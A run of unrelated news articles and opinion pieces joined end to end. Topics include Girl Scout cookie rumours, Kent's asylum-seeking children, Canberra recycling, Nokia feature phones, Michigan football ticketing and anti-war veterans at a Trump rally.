devotes a page to knocking down rumors. Girl Scouts support Planned Parenthood? “Not true,” the federation says. Girl Scout law does not refer to God anymore? “Not true.” The federation has some concerns about the international association, but thinks that doesn’t justify rejecting American Girl Scouts altogether. “It’s the whole thing of guilt by association. Does one policy with which you can’t agree prevent you from being involved in broader coalitions? My position is that the only way you can advocate for the church’s position is to be engaged in the dialogue,” said Robert McCarty, the federation’s executive director. (Yes, we shared a laugh about our names’ similarity.) Some Girl Scout leaders in the area wish St. Timothy had adopted a similar, broad-minded attitude. “I’m not sure that the father has made his decision based on any real fact,” said one adult leader from Chantilly, who spoke on condition of anonymity because she feared alienating the church. “I think it’s unfortunate that somebody makes a decision, and other people assume it’s right and act accordingly, and it kind of snowballs.” Happily, the controversy doesn’t seem to be hurting this year’s cookie sales. Lidia Soto-Harmon, chief executive of the Washington area council, said initial orders were up more than 6 percent. I say, let’s all cast a vote for girls with backpacks and against disinformation. When the neighborhood girls ring your doorbell, order an extra couple of boxes.FRIDAY, June 24, 2016 (HealthDay News) -- Many bisexual men are afraid to reveal their sexual orientation to female partners, relatives and friends, a new study says. Fear of stigma and damage to their relationships keeps many bisexual men in the closet, report researchers at Columbia University's Mailman School of Public Health, in New York City. "Our results clearly identify the need for public education campaigns to dispel myths about bisexual men -- that bisexual men are not gay, do not have HIV, and are not necessarily non-monogamous," Eric Schrimshaw, associate professor of sociomedical sciences, said in a school news release. The researchers interviewed 203 bisexual men, 18 and older, in New York City. Participants consistently said they believed they would face stigma for having sex with men. They also specified other reasons for not revealing their bisexuality to people close to them, including: negative emotional reactions; harm to relationships with wives or girlfriends, and previous negative reactions to disclosure. Schrimshaw said the anticipated negative reactions from female partners indicate bisexual men need strategies to help them disclose their sexual history in ways that minimize negative reactions and preserve the couple's relationship. The findings also suggest that bisexual men may be more likely than gay men to fear negative reactions from others after disclosure, but more research is required to confirm that, according to the researchers. The study was recently published online in the journal Archives of Sexual Behavior. More information The U.S. Centers for Disease Control and Prevention offers resources for gay and bisexual men.When you’re standing at a crossroads and you don’t know which direction to chose, wait for a sign. Don’t push, listen. If you don’t get a clear sign, then wait. Drop the guard of ego, put away the facade of pride and just be there in the between space of not knowing. Then, out of nowhere, you’ll see it. A sign. Clear as a rainbow. And you’ll know that this is it, this is what I’ve been waiting for. All the effort you’ve put in through quiet lonely nights, all the blood, sweat and tears through dogged perseverance, all the waiting patiently on the side while life seemed to be slipping by, it was all so worth it. And you just know it was all meant to happen exactly as it did, it couldn’t have been any other way and it was all just perfect and divinely blessed. There’s nothing left to do but to stand in gratitude, awe and wonder at the magic of it all—this amazing gift called life. ~ Author: Kino MacGregor Image: Agathe Padovani/I Film Yoga Editor: Katarina TavčarLil B has recently been in the news for his support of Democratic presidential candidate Bernie Sanders, who he switched to after previously supporting his opponent Hillary Clinton. This afternoon, B was a guest on CNN's "The Newsroom", where he chatted with host Brooke Baldwin about his support for Sanders, the Black Lives Matter movement, and more. Watch the interview below. Update (8/12 5:07 a.m.): Sanders has tweeted his thanks to Lil B: "Great job on CNN today. Thanks for your support!" Baldwin introduced B by noting his initial support for Hillary in the song "Bitch I'm Bill Clinton", which she said was "inappropriate to play on CNN." Then, she asked him why he's so influential. "Well, you know, it's me being honest," he said. "My range is reaching everybody from the poorest of the poor to the richest of the rich to the middle class. It's just me being honest and putting that in music and spreading love through music, having fun. You know, just really being myself." When he was asked about why he switched his support to Sanders, he said, "The people that support Lil B and support my music, they're so eccentric and they have a lot of different viewpoints. When people come to me and bring things to my attention, I start to really pay attention because I know these people are special. A lot of people started talking to me about Bernie Sanders and they were like, hey, you gotta pay attention. I started paying attention a little bit more." He talked about Sanders' fight against segregation, how he marched with the Civil Rights movement in the '60s, and how he supports free education. Then, he was asked about the recent incidents where Sanders has been interrupted by members of the Black Lives Matter movement, who've pressed Sanders to specifically address racial justice in his policy platform. "They need to be spoken about," he said of the movement's issues. "A lot of people suppress these things. I am a victim of suppressing these things. I tend to turn the cheek on black violence because it's been normalized to me. And I feel horrible about that. So I commend the people that are taking a stance and fighting." He also talked about paying attention to how candidates have supported the movement. Finally, Baldwin asked if he was against Hillary. "I'm not against Hillary Clinton," he said. "I support the Clinton legacy. I love Bill so much that I support Hillary off top." After that, she got to the real stuff, and asked if Hillary was cursed now that B supports Sanders. "Hillary Clinton is not cursed," he said. "All love to Hillary." So, there you have it: Lil B is for Bernie Sanders, for Black Lives Matter, and against cursing Hillary Clinton. Embedded content is unavailable. Watch Lil B's episode of Pitchfork.tv's "Selector" titled "Cookin' With Lil B":BART station agent beaten, robbed in Rockridge BART trains into San Francisco delayed due to police activity. BART trains into San Francisco delayed due to police activity. Photo: Bill Hutchinson / Photo: Bill Hutchinson / Image 1 of / 28 Caption Close BART station agent beaten, robbed in Rockridge 1 / 28 Back to Gallery A station agent at the Rockridge BART Station was beaten and robbed of her work bag Tuesday, officials said. The agent told police a man in his 50s with a slim build “became upset and battered her” shortly before 1 a.m., according to a BART Police log. The man took station agent’s work bag and fled, police said. ALSO: Man refuses to come out of Sunset district home in SF He has not been found. Jenna Lyons is a San Francisco Chronicle staff writer. Email: jlyons@sfchronicle.com Twitter: @JennaJournoCouncil appeals to Home Office for urgent help with £5.5m funding shortfall as rise of number of under-18s needing foster care more than doubles in year A dramatic rise has occurred in the number of unaccompanied children seeking asylum as the Calais migrant crisis has unfolded, leaving Kent social services struggling to cope, county council leaders have warned. Kent county council has appealed to the Home Office and children’s services across the south of England for urgent help with a £5.5m funding shortfall and the “enormous strain” on social services, and for assistance in finding foster places for the children, who are on their own and as young as 12. The number of young asylum seekers from countries such as Syria and Iraq aged under 18 and needing foster care after arriving at Dover has risen from 238 a year ago to 369 in April, and has accelerated further over the last three months to the latest figure of 605. In a further sign of the strain on local services, on Thursday police officers from neighbouring south-east forces were deployed for the first time to help with Operation Stack, which has seen the M20 motorway outside Dover turned into the largest lorry park in Europe. Anne Barnes, Kent’s police and crime commissioner, said the outside officers sent in under the mutual aid scheme were needed because Kent police were “tired and exhausted after many weeks of long shifts in difficult conditions”. Operation Stack has run up a £1m policing bill since 23 June alone. Calais crisis: 'It’s easier to leave us living like this if you say we are bad people' Read more David Cameron will chair a meeting of the government’s emergency committee, Cobra, on Friday. It is understood he will ask ministers and officials to see if more can be done to address the situation at the port and the Channel tunnel railhead at Coquelles in Calais. Cameron is facing criticism from his own MPs over the government’s failure to ease the long delays faced by hundreds of thousands of British summer holidaymakers trying to get in and out of the country by the cross-Channel routes. Transport ministers are urgently working on alternative “lorry park” options, including opening the disused Manston airfield, to deal with the congestion caused by the queueing truck drivers waiting up to 18 hours for the disrupted ferry services to Calais. Cameron was also roundly attacked by refugee welfare groups and opposition politicians for his use of language in claiming that there was a “swarm of people coming across the Mediterranean... heading to Britain and seeking a better life”. The Refugee Council described Cameron’s language as “irresponsible and dehumanising”, while the Labour leader, Harriet Harman, simply said he should “remember he is talking about people and not insects”. Facebook Twitter Pinterest War weary Syrian refugees plead to cross channel through Eurotunnel at Calais. By Josh Halliday and Lucas Léger The number of attempts made by migrants in Calais to enter the Channel Tunnel on Wednesday night was said to be several hundred, below the 1,500 reported on Tuesday and the 2,000 on Monday. Paul Carter, the leader of Kent county council, raised both the social services and traffic congestion issues with ministers on Thursday. “We have got two issues,” he said afterwards. “One is having to contend with Operation Stack and the main arterial route, the M20, being closed in both directions. But also, local government has statutory duties to provide care for unaccompanied minors under the age of 18 and those numbers have escalated dramatically in the last four or five weeks.” Kent county council said it was working with the Association of Directors of Children’s Services to place youngsters where there is space elsewhere in the country after assessment. Compass Fostering, an independent agency, said it had 140 young asylum seekers referred for foster care this month, compared with 60 in May. In July last year, that number was just 34. Most are from war-torn countries in the Middle East – notably Syria and Iraq – as well as Afghanistan and Eritrea in east Africa. The vast majority are boys, with the youngest aged just 12. Compass said most of the referrals have been from local authorities in Kent, West Sussex and London, with police finding children at Gatwick airport and left by motorways. Bernie Gibson, Compass Fostering’s managing director, told the Guardian it was a highly significant increase, and highlighted the need for more foster carers countrywide. “We’re lucky to have foster carers who speak many languages, but we always need more people who can look after these very vulnerable young people. “Many don’t speak the language and clearly they are traumatised by what they have come from. I think our message would be that it’s time to put the political issues aside and really focus on the rights of these children to a caring and loving home.” The only'migrant madness' is the tabloid pretence about events in Calais Read more Foster carer Sheinaz Mouradi, 44, who speaks five languages, said her skills were invaluable because of the numbers of children needing fostering who do not speak English. “If you can speak to them, it’s so much easier to get them to open up, the language barrier can be very hard, you need to communicate just to feel a little more comfortable.” Mouradi, from Ealing, west London, has fostered children for five years, including two 16-year-old asylum seekers from Morocco. One arrived in Southampton having hidden himself on a boat, without knowing where he would end up. The other boy had clung to the undercarriage of a lorry to enter the UK. “It has not been easy. They have no families and they have had to be self-sufficient, living on the streets, and have been exposed to a lot of crime, so they are naturally a bit more grown-up,” she said. “Children who are asylum seekers are not easy, but the boys who have been with us have learnt to read and write, and started to speak English well.”by David Trahan, April 7, 2011 Anonymity is one of the great gifts of the Internet, because it allows people to explore new interests and express opinions without anyone knowing who they are. It's protective, it's empowering, and it's dangerous. For those who have learned the lessons of life to an extent that they can understand themselves and where they fit in the world, anonymity may not be all that bad, but for teens who are still figuring it all out, anonymity may do more bad than good. There are valid arguments for each side of the debate, and I've been putting some thought to it as well. Self Expression PRO: It's easier to be your true self The Internet acts as shield to protect people from their insecurities. People say and do things they wouldn't normally do in real life, because they're not physically engaging with other people. It's like having a podium in front of you during public speaking class. It makes you feel protected. CON: Your true self isn't tied to a real person The power that the Internet gives teens to express their true selves is unparalleled, but if it's all anonymous, then the personal connections you would be having online are lost. No one who knows you in "real life" know anything about your anonymous online life, and in a sense, no one really knows you. If a tree falls in the woods, but no one is there to hear it, does it make a sound? advertisement advertisement Safety PRO: It's safer to be yourself A lot of teens feel unsafe being themselves. LGBT teens often turn to the online world to make connections, find information and express themselves in a way that they aren't able to offline. Anonymity is a protector for them - one that for many teens inside and outside of the LGBT community can't be taken away. CON: You're not making your offline life any more safe It's important to find safety online, but what happens when the computer turns off? You can't stay online forever and then you're forced to go out in the real world... and guess what, nothing's changed. Teens that have the ability to escape online are less apt to fix their offline problems. Who needs to fix their problems when they can just avoid them? Exploration PRO: You can test the waters with your likes and interests Teens are facing a future that no one before them has fully encountered - a future where everything is and always has been online. Everything they've done is on Facebook or Flickr or Blogger or somewhere else online. As we all know, our entire personality and interest evolve over time, but in the digital age that evolution is constantly tied to your social networks. Teens don't want everyone seeing everything they do. They want to try new things, talk to new people, explore new interests, and decide for themselves who sees what. CON: You're not allowing for social engagement offline While anonymity is a great way to try new things, it's hard to make offline connections centered on those interests when there's no human face and identity behind your interactions. You're only exploring these interests online, and once the computer's off, those connections are gone. Duality PRO: You're living a double life How cool! You get to go online and be whoever you want to be! You're fearless. You're fun and creative and dramatic and cool or whatever you want to be. You get to express yourself and have nothing to hide from! Go forth! CON: You're living a double life The more time you spend online being You #2, the more and more distance there is between You #1 and You #2. Talk about an identity crisis! In the long-term this probably isn't healthy. Teens need to feel secure with themselves online and offline. If they're not being themselves that means they're in hiding, and who wants to spend their life hiding? So, do you have an online alter ego or fake Internet name? Do you participate in forums and comment online as "anonymous"? Or, are you always yourself and no one but yourself? Share your thoughts on anonymity in the "comments" area below.Garth Lamb is passionate about recycling and considers the general refuse tip his "nemesis". When you wheel your yellow-lidded garbage bin onto the kerb, do you ever think about what happens to its contents? In the ACT and surrounding areas in New South Wales, all kerbside recycling is collected by trucks and taken to the recycling station in the Canberra suburb of Hume. Some 200 tonnes of material — from cardboard and paper to glass bottles and plastic containers — arrives at the plant each day. "All this material, that's not waste, that's valuable resources that we can put back into the productive economy," Re.Group business development manager Garth Lamb told ABC Radio Canberra's Jolene Laverty. The Hume facility has been upgraded with new equipment, making it one of the most sophisticated operations in Australia. "Generally people wheel out their bins and they don't really think about what happens next," Mr Lamb said. "Everything works so well that people forget how complicated everything behind the scenes is." Household waste transformed Once the truck arrives at the plant, the material is dumped onto the tipping floor where workers can see if there is any gross contamination that needs to be removed before it goes any further. "We've then got a loader that picks up the material and tips it into a hopper which will then go up a big conveyor belt," Mr Lamb said. Workers then check the items as they move along the conveyor to remove contaminants that could damage the plant or reduce the quality of the end product. The items then go into a trommel, a large round cylinder with different shaped holes that acts like a sieve as it rotates. "You're separating things by shape and by size," Mr Lamb said. "Through that trommel, your big flat pieces like cardboard and paper will go straight through the trommel... whereas through the holes all your container material will fall out." Once separated, the various materials are processed in different ways. There is the ballistic separator that shakes broken glass from paper and cardboard and separates it. Then there is the optical sorter that uses cameras to separate plastic containers. "It basically takes a high-resolution image of the containers as it comes past it and it identifies those containers and makes sure they're ejected into the right bunker, so we're separating that down into six or seven different grades of plastic," Mr Lamb said. "We're trying to make that material as pure as possible so the more we can separate things and not have a mixed product, the more valuable that is and the more places we can use it." Once sorted and graded, the items are baled and sent to other facilities for further processing into things like cardboard boxes and new plastic products. What you can put in your yellow bin It is important all householders know what they can and cannot put in their yellow bins. Rigid plastic containers, paper, cardboard, glass bottles and jars, steel cans, aluminium cans and aluminium foil are among items that can be recycled. "All the material gets mixed up in the truck which is why it's really important that each individual householder is being vigilant on making sure they've got the right material in the bin," Mr Lamb said. "Because if one person in that whole street puts the wrong material in their bin it can contaminate a whole truck load, and in the worst-case scenario we can't recycle that." No plastic bags, garden hoses or rope If recyclable items are left in plastic bags they cannot be recycled. "Material is moving through this facility very quickly, we don't get to open those plastic bags," Mr Lamb said. "They could be plastic bags full of dirty nappies, they could be a plastic bag full of aluminium cans. "If you've left it in a plastic bag it's not going to get recycled, it's going to get rejected." Garden hoses and ropes are also a big problem. "Things that are long and stringy, like ropes and garden hoses, they're an absolute nightmare in a recycling facility, they get wrapped around the equipment," Mr Lamb said. What you can do to help To make recycling easier and ensure items do not end up in landfill, empty containers and bottles of any leftover food or liquid and remove lids before placing them in your bin. "We'd also appreciate it if you could give things a rinse out; it certainly improves the quality of the materials that we can recover here," Mr Lamb said. With new and emerging technologies, Mr Lamb said it was possible to divert more than 95 per cent of household waste from landfill and more could be done to increase Australia's recycling rate. "There are very few materials that hold no higher purpose than filling up a hole in the ground. "Pretty much everything in the waste stream can be recycled, so long as we have the right facilities in place and people are putting the right items in the right bins."Microsoft has unveiled Nokia 230 and Nokia 230 Dual SIM feature phones. Both the phones have been priced at $55 (approximately Rs. 3,700) before local taxes and subsidies. The Nokia 230 and Nokia 230 Dual SIM will go on sale in India next month. The phones sales are also expected to start in December in Asia, and the Middle East. The company confirmed that other markets will follow in 2016. At the time of writing, neither of the two handsets was listed on the company site. Microsoft is touting the handsets as 'premium quality Internet-enabled feature phones.' One of the biggest highlight of the Nokia 230 and Nokia 230 Dual SIM are that they sport a 2-megapixel front and rear cameras. Both cameras pack LED flashes. Another notable feature of the Nokia 230 and Nokia 230 Dual SIM phones are they feature sandblasted aluminium cover. Both the new phones come with the same set of specifications except that the Nokia 230 Dual SIM supports dual-SIM functionality. Both the handset support Micro-SIM cards, and both run Nokia Series 30+ OS. Both the phones come with the Opera Store access where users can download one free Gameloft game every month for a year. Some of the titles include Assassin's Creed Brotherhood and Midnight Pool 3. The company however notes that the store is available in select markets. Other preloaded apps include Bing Search and Opera Mini browser as well as MSN Weather. The Nokia 230 and Nokia 230 Dual SIM feature a 2.8-inch QVGA (240x320 pixels) LCD display. They support expandable storage up to 32GB via microSD card. Connectivity options on the phones include GPRS/ EDGE, Bluetooth v3.0, Micro-USB, and a 3.5mm audio jack. Microsoft has packed a 1200mAh battery on the handsets that it is claimed to deliver up to 23 hours of talk time; up to 22 days of standby time (dual-SIM model) and up to 27 days of standby time on single-SIM model. The Nokia 230 measures 124.6x53.4x10.9mm, and weighs 92 grams. The Nokia 230 and Nokia 230 Dual SIM will both be available in glossy Black and White colours.I thought it might be helpful to pick a few thoughts about epic fantasy and sword and sorcery out of that other post. Here are some of the characteristics that were thought might distinguish them: Epic Fantasy: The plot is central to the world’s history or even cosmology. The story come to an end, usually with some sort of healing of the land, and either a restoration or dissolution of magic The story is published as single narrative arc (for example, a trilogy). Characters tend to the heroic. Setting likely to be pastoral and expansive. Sword and Sorcery: The plot is what adventurous people tend to do within a particular world. There is always room for another adventure. The stories are published as a series of interlocking narratives (for example, individual novels) Characters tend to the anti-heroic. Setting can be urban and intimate. Obviously these are not hard and fast rules and should be taken in the spirit of thinking aloud in public. The fact that these distinctions break down, particularly, in modern commercial fantasy, returns me to thinking about the history of the subgenres. For epic fantasy, this is relatively straightforward and seems to come in clear waves; for sword and sorcery, things are murkier and the waves are overlapping. Again, these are notes towards a theory so treat them with the scepticism they deserve and feel free to shoot me down in the comments. Epic Fantasy: Progenitor text: Tolkien – Lord Of The Rings (1954-55) First wave – emergence as a commercial subgenre: Brooks – Shanara (1977-85), Eddings – Belgariad (1982-84) and Weis and Hickman –Dragonlance Chronicles (1984-85) Second wave – bestsellers within a mature subgenre: Jordan (1990-), Goodkind (1994-) and Martin (1996-) Sword And Sorcery: Progenitor text: Howard – Conan (1933-35) First wave – emergence as not quite a subgenre: Leiber – ‘Fafhrd And Gray Mouser’ (1939-) and Anderson – Broken Sword (1954) Second wave – deconstruction and subversion: Moorcock – Elric (1965-75) and Wagner – Kane (1970-78) The third wave of commercial fantasy then seems to be a merging of these two traditions. So, for example, Richard Morgan’s The Steel Remains (2008) explicitly ties itself to the sword and sorcery tradition in opposition to Tolkien tradition but is not especially different to contemporary epic fantasy. Equally, Scott Lynch’s The Gentlemen Bastards (2006-) follows in the footsteps of Leiber but is highly popular and influential within epic fantasy circles. This isn’t entirely new, as previously mentioned Glen Cook’s The Chronicles Of The Black Company (1984-85) is an early example of this, but it does seem to be increasing and it may well explain the reason people have increasingly felt the need to resort to the adjective “gritty”. Right, I have to go to a charity fundraiser now so I don’t have time to fully integrate two other important influences: Dungeons & Dragons (1974) and Perdido Street Station (2000). And yes, I know I need to read Wizardry And Wild Romance. (I also realise women are under-represented in this crude history.)This week, the Michigan football program suffered a national embarrassment when a Michigan Daily reporter tweeted Coca-Cola's offer of two free tickets to this weekend's game to anyone who bought two bottles of pop. How did this once-proud program sink so low, so fast? Amazingly, almost all Michigan's wounds have been self-inflicted. * Michigan can boast the most wins in college football and the longest streak of 100,000-plus crowds, running 251 games, all the way back to 1975. The attendance streak has survived a few wars, a few recessions, and a few disappointing years -- not to mention blazing heat, freezing rain and blinding snowstorms. But when the Wolverines went 6-6 in 1984, 8-4 from 1993 through 1996, 7-5 in 2005, and most notably, 3-9, 5-7 and 7-6 during Rich Rodriguez's tenure (2008-10), with the economy at its lowest point since the Great Depression, Michigan's resilient fans still bought up all the season tickets months in advance. Thousands more added their names to the robust waiting list. In other words, it's not the economy, stupid -- or the wins or the weather. Michigan fans will tell you it's the historically high ticket prices, a historically bad home schedule, and a historically tone deaf athletic department. * After athletic director Bill Martin announced in 2009 that he'd be stepping down the next year, Michigan had some enviable choices to replace him: Three successful Division I athletic directors who had all either coached or played at Michigan. But there was a fourth, less conventional candidate, who had the inside track. Dave Brandon had spent a decade running Domino's Pizza, overseeing 9,000 stores in 60 countries with 145,000 employees. His job required pleasing millions of customers, thousands of stockholders, and dozens of board members, executives and Wall Street analysts every day. If there was one thing Brandon could handle, it seemed, it was public relations. And if there was one thing Michigan and its beleaguered coach, Rich Rodriguez, needed, that was it. Brandon, a famously hard worker who returns emails in the middle of the night, immediately impressed everyone, including me, with his performance in high-pressure press conferences about Michigan football's NCAA investigation -- yes, the one that took 14 months to determine that the Wolverines accidentally spent 15 minutes more on stretching each week than the NCAA allowed. When Brandon hired the unassuming Brady Hoke to lead the football team, many Michigan fans howled. But the lovable Hoke won them over at his first press conference, then won eleven games in his first season. The honeymoon was glorious. Sure, some fans weren't too happy about the new uniforms the team occasionally wore, or the rock music that often replaced the marching band, but those were minor quibbles. If the Michigan athletic department had issued a 2012 annual report to its shareholders, it would have been the shiniest publication in college sports, packed with enough good news, on and off the field, to make the competition envious. By those measures, its creator could be considered an all-American athletic director. * But after Hoke finished 8-5 in 2012, and 7-6 last year, the wait list disappeared, the season tickets didn't sell out, and the students cut their ticket orders this year alone by a solid third -- and with it, the Big House lost the engine that keeps the entire stadium humming, not to mention the fans who are supposed to keep the tradition alive for the next generation. It's worth remembering Hoke's worst record matches Rodriguez's best mark in Ann Arbor, back in 2010, when the economy bottomed out -- but the wait list was still long. When I asked Michigan friends on Facebook why they dropped their tickets, they mentioned the prices -- which have increased an average of $100 per seat in the past four years -- the weak schedule, the untraditional "Super Bowl" atmosphere (Laura Ambrook Redmond told me, "Best game we attended in recent years was against Nebraska, when the scoreboard sound went out and we all just listened to the band and could actually talk to the people we sit by"), and their increasingly dim view of the department, usually in that order. The department has resorted to desperate measures to keep the streak going, selling deeply discounted tickets on Groupon, Livingsocial and Amazon, and dumping thousands of free tickets on local schools, churches, camps, the ushers, Michigan golf club members and the student-athletes -- and yes, through Coca-Cola giveaways -- urging them all to come to the games. It's good that people who couldn't afford to pay full price, especially kids, are visiting the Big House for the first time -- but that's not why the department is doing it. So far, the department has been blessed with gorgeous weather for all three home tailgates, and has managed to draw enough fans each game to claim with a straight face that the attendance streak is still going. Sure, they're covering the foundation's cracks with wallpaper -- but that's load-bearing wallpaper. It's best not to pull on it. Season-ticket holders have skin in the game, lots of it, and they show up rain or shine. But anyone receiving a free ticket is, truly, a fair weather fan. The department is just one cold, rainy day from having to admit, once and for all, that the hallowed streak is over. It hasn't helped that the Wolverines have lost both their games against Power 5 opponents, and eight of their last 12 games. No fans are more passionate than college football fans -- or more myopic. If their school wins a few games, they believe they'll never lose again. And if they lose a couple, the situation is hopeless. But a win this weekend might be enough to get Hoke's team on a roll, giving people good reason to hope for more in 2015, and justify keeping him. But even if the Wolverines win Saturday as expected against Minnesota, and enough fans show up to allow the department to claim the streak is alive, something is different this time around. I've often joked that many Michigan fans aren't happy unless they're not happy -- and they've had plenty of reasons to be unhappy this year. But now many are upset that they're not that upset. They are alarmed by their lack of alarm. They are afflicted by something I have never seen before: Indifference. * The department's problems don't stop there. It has committed gaffe after gaffe -- from skywriting to seat cushions to giant noodles to Coca-Cola giveways -- followed by absurd explanations that always place the blame somewhere else. "Inaccuracies were driven by social media," they once said, when the social medium in question was actually their own website. The department now has all the credibility of Pravda, and half the charm. But that's not the department's biggest problem. When they discount and dump thousands of tickets, do they expect their season ticket holders not to notice? When you paid a few thousand bucks for your four tickets, and the guy sitting next to you got in for a couple of Cokes, do the department's leaders really think you will pony up for the same sky-high prices next year? As longtime fan Peggy Collins Totin told me, "I feel betrayed for being loyal." Michigan has somehow created a world where loyalty is punished with price hikes, and disloyalty is rewarded with freebies. Michigan fans may be irrational about their love for the Wolverines, but they're not stupid about their money. Their Saturday habit developed over a lifetime, but they can break it in a week. I hear constantly from fans of other programs that their team is heading in the same direction. The question is, will other schools learn from Michigan's mistakes in time to avoid Michigan's troubles? Next year, either Michigan's ticket prices will come down
of fame is insatiable. I have ever kept my eye him.” Ellis has written a love story set in the turbulence of Revolution and the uncertainties of a nation’s birth. The long separations and the needs of the new nation made extraordinary demands on the Adams’ marriage, as did John’s own political ambitions. Daughter Nabby once wrote, “The happiness of our family seems ever to have been so interwoven with the politics of our country as to be in a great degree dependent upon them.” It is also a sad story, evoking comparison to the ill-fated Kennedy clan. John and Abigail saw all their children but one buried. A daughter was still-borne during one of John’s prolonged absences. Nabby, the oldest, married badly and returned home with her children where she died of cancer at age 48. Charles, the second son, by all accounts a popular charmer, died of alcoholism at 30. His wife and children also sought haven with Abigail and John. Thomas, having shown early promise, gambled, suffered from depression, and drank excessively. He was a failure and died dissolute and destitute in 1832. Even John Quincy, the oldest son and 6th President of the United States, would suffer the grief of his youngest son, George, committing suicide at age 28. Despite personal and political tribulations, John and Abigail’s devotion to one another, to their children and their country, remained resilient and unshakable. This pair, Ellis writes, “have much to teach us about the reasons for that improbable success called the American Revolution and the equally startling capacity for a man and woman, husband and wife, to sustain their love over a lifetime filled with daunting challenges.”BALTIMORE—When Rory Fanning, a burly veteran who served in the 2nd Army Ranger Battalion and was deployed in Afghanistan in 2002 and 2004, appeared at the Donald Trump rally in Chicago last month he was wearing the top half of his combat fatigues. As he moved through the crowd, dozens of Trump supporters shouted greetings such as “Welcome home, brother” and “Thank you for your service.” Then came the protest that shut down the rally. Fanning, one of the demonstrators, pulled out a flag that read “Vets Against Racism, War and Empire.” Click here to see a YouTube video of Rory Fanning being ejected from a Donald Trump rally. During the incident he was doused with a drink and struck. “Immediately someone threw a drink on me,” he said when I interviewed him on my teleSUR show, “Days of Revolt.” “I got hit from behind in the head three or four times. It was quite the switch, quite the pivot on me. Questioning the narrative, questioning Donald Trump’s narrative, and I was suddenly out of their good graces.” Nationalists do not venerate veterans. They venerate veterans who read from the approved patriotic script. America is the greatest and most powerful country on earth. Those we fight are depraved barbarians. Our enemies deserve death. God is on our side. Victory is assured. Our soldiers and Marines are heroes. Deviate from this cant, no matter how many military tours you may have served, and you become despicable. The vaunted patriotism of the right wing is about self-worship. It is a raw lust for violence. It is blind subservience to the state. And it works to censor the reality of war. “A lot of soldiers who’ve come back from war see themselves as anything but a hero,” Fanning said. “To throw that term around loosely is dangerous. It’s a way to manipulate soldiers. It buys their silence.” “Soldiers are not encouraged to talk about the realities of war when they come back,” he said. “They’re labeled a hero or warrior. That’s a major problem. It leads to further seclusion, isolation with soldiers. We talk about the suicide rates amongst veterans—22 a day. It’s because we’re not allowed to talk about what we saw overseas, how unjust it was, how we feel like bullies. How many innocent people have been killed since 9/11? Throwing out words like ‘heroes’ does a disservice to the experience of veterans and all the innocent people that have been killed since then.” War, up close, bears no relation to the myth. It is depraved and cruel. It has nothing to do with noble ends or justice. Killing is a dirty, ugly business. There is a vast disparity between war’s reality and the myth peddled by the press, the entertainment industry, politicians and churches. “What I didn’t know as I entered [Afghanistan] with the 2nd Army Ranger Battalion was that the Taliban had essentially surrendered after the initial assault by the Air Force and the special forces,” Fanning said of his first tour, which started in late 2001. “Our job was essentially to draw the Taliban back into the fight. Surrender wasn’t good enough for politicians after 9/11. We wanted blood. We wanted a head count. It really didn’t matter who it was. So we’d walk up to people, people who had been occupied …, involved in civil war before that, with tons of money at our disposal. We’d said, ‘Hey, we will give you this amount of money if you point out a member of the Taliban.’ An Afghan would say, ‘Sure, absolutely. There’s a member right there.’ So we go next door. We’d land in their neighbor’s front yard, put a bag over every military-aged person’s head, whether they were a member of the Taliban or not, give the person who identified that person money. Then that person would also get that neighbor’s property. In a country with as much desperation and poverty as Afghanistan you’d do anything to put money or food on your family’s table. Essentially that’s what we were doing. But we were also bringing people who had absolutely no stake in the fight into the war. We were creating enemies. “I signed up after 9/11 to prevent another 9/11 from happening,” he went on. “But soon after arriving in Afghanistan I realized I was only creating the conditions for more terrorist attacks. It was a hard pill to swallow. We were essentially bullies.” The disproportionate use of force on the part of the American occupation forces not only left huge numbers of civilians dead but served as a potent recruiting weapon for insurgents. “We’d have a rocket land in our camp,” said Fanning, who is a member of Veterans for Peace and the author of “Worth Fighting For: An Army Ranger’s Journey Out of the Military and Across America.” “We wouldn’t necessarily know where it came from. It came from that general direction over there. We’d call in a 500-pound bomb. It would land on a village.” The terror visited on Afghans was soon replicated by the terror visited on Iraqis. Michael Hanes was in the Marine Corps from 1994 to 2004. He was in Iraq in 2003 in the most senior recon platoon—the Marine Corps equivalent of the Navy SEALs—the 1st Force Reconnaissance Company, 1st Marine Division. He was in numerous raids. Now he is a member of Veterans for Peace, and I interviewed him with Fanning for my show.“I was in the Iraq invasion,” Hanes said. “We pushed up into Baghdad and things [became] very real for me when we began to kick in doors, place charges in doors and rush into these homes and terrorize these people.” “Probably about 50 percent or more of the intel that we got was just dead wrong,” he went on. “Busting in these doors you come into a family’s house and there’s elderly women, young little girls, 3, 4 years old, just screaming and horrific, just terrified to where they literally soil themselves. They pee their pants. You’re taking Grandma and throwing her up against the wall and interrogating her. That hits you right here. It hits you really hard. I began to ask myself, what the hell am I doing? If you happen to be a young man [in a raided home], in your early 20s or anywhere in that range where you can carry a weapon, then by mere association of being a young male, a possible insurgent, [Fedayeen Saddam] loyalist, whatever the case may be, you were taken out of the home to be interrogated. Who knows what happened to them. … I know [Marines] were there all night interrogating them. Who knows if they even made it back to their family. “With the drone attacks you have a range, an outside range, where so many civilians are being killed,” Hanes said. “It’s a terrorist-producing factory. If you lose your child, if you lose your mother, any of your family members to this … we have to think about that. Put yourself in that position. If I lost my child I would be desperate. What would you do? It’s easy to understand why someone would strap a bomb to themselves and blow themselves up.” The physical brutality and violence are accompanied by the overt racism that is characteristic of military occupations. “We didn’t refer to the people in Afghanistan as Afghans, they’re hajji,” Fanning said. “This is a term of respect for someone who’s gone to make the trip to Mecca, but we’d use it in a derogatory term.” “The terms ‘sand nigger,’ ‘hajji,’ ‘barbarian,’ ‘terrorist,’ all of these things were thrown around as if the people there were subhuman,” Hanes added. The lies of the state and the wider society became painfully apparent. “We’re sold the idea of—we’re going to liberate people, we’re fighting terrorism. Then we realize we’re the ones terrorizing people,” Hanes said. “That torments you psychologically. I’ve lost a few friends to suicide.” The two veterans say they have found solace in acts of civil disobedience. Hanes has been arrested with other members of Veterans for Peace protesting the U.S. bases in Okinawa. He was stationed there two decades earlier. Hanes as a protester “was on the other end of the spectrum,” he said in referring to his time as a Marine in Okinawa. When he was there to protest, he said, “I was spending time with the people, listening to their struggles, and actually seeing what’s happening over there. I participated with them in protests. I stood in front of trucks. I lay out on the road. I blocked construction crews.” Hanes and Fanning say they will continue to defy the bloodlust of empire, at home and abroad, as a way to heal the wounds of war and affirm life. They have no intention of allowing the hate talk and racism at a Trump rally, or anywhere else, to be unchallenged. From their time in the military they understand the danger of dehumanizing others. “You’ve got to stand up to confront creeping fascism,” Fanning said. “Silence is consent.” Editor’s note: In this column, Rory Fanning is quoted as saying that the suicide rate among U.S. military 